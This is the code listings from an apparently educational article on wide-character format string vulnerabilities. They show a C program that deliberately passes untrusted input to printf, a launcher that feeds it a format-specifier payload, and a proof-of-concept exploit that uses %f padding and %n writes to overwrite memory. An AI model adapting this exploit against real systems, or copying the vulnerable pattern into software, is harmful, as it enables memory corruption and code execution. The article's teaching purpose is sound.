Wide-Character Format String Vulnerabilities
by Robert C. Seacord


Listing One

 1. #include <stdio.h>
 2. #include <string.h>

 3. void usage(char *pname) {
 4.   char usageStr[1024];
 5.   snprintf(usageStr, 1024,
        "Usage: %s <target>\n", pname);
 6.   printf(usageStr);
 7. }

 8. int main(int argc, char * argv[]) {
 9.   if (argc < 2) {
10.     usage(argv[0]);
11.     exit(-1);
12.   }
13. }


Listing Two

1. #include <unistd.h>
2. #include <errno.h>

3. int main(void) {
4.   execl("usage", "%s%s%s%s%s%s%s%s%s%s", NULL);
5.   return(-1);
6. }


Listing Three

 1. #include <stdio.h>
 2. #include <string.h>

 3. static unsigned int already_written, width_field;
 4. static unsigned int write_word;
 5. static wchar_t convert_spec[256];

 6. int wmain(int argc, wchar_t *argv[], wchar_t *envp[]) {

 7.   unsigned char exploit_code[1024] = "\x90\x90\x90\x90\x90";
 8.   int i;
 9.   wchar_t format_str[1024];
10.   float x = 5.3;

    // advance argument pointer 63 x 4 bytes
11.   wcscpy(format_str, L"a%f");  // 2 bytes filler
12.   for (i=0; i < 63; i++) {
13.     wcscat(format_str, L"%f");
14.   }

15.   already_written = 0x084d;

    // first word
16.   write_word = 0xfad8;
17.   already_written %= 0x10000;

18.   width_field = (write_word-already_written) % 0x10000;
19.   if (width_field < 10) width_field += 0x10000;
20.   swprintf(convert_spec, L"%%%du%%n", width_field);
21.   wcscat(format_str, convert_spec);

    // last word
22.   already_written += width_field;
23.   write_word = 0x0012;
24.   already_written %= 0x10000;

25.   width_field = (write_word-already_written) % 0x10000;
26.   if (width_field < 10) width_field += 0x10000;
27.   swprintf(convert_spec, L"%%%du%%n", width_field);
28.   wcscat(format_str, convert_spec);

    // two dummy int/address pairs
29.   wcscat(format_str, L"ab\xf1e0\x0012");
30.   wcscat(format_str, L"ab\xf1e2\x0012");

31.   wprintf(format_str);

32.   return 0;
33. }



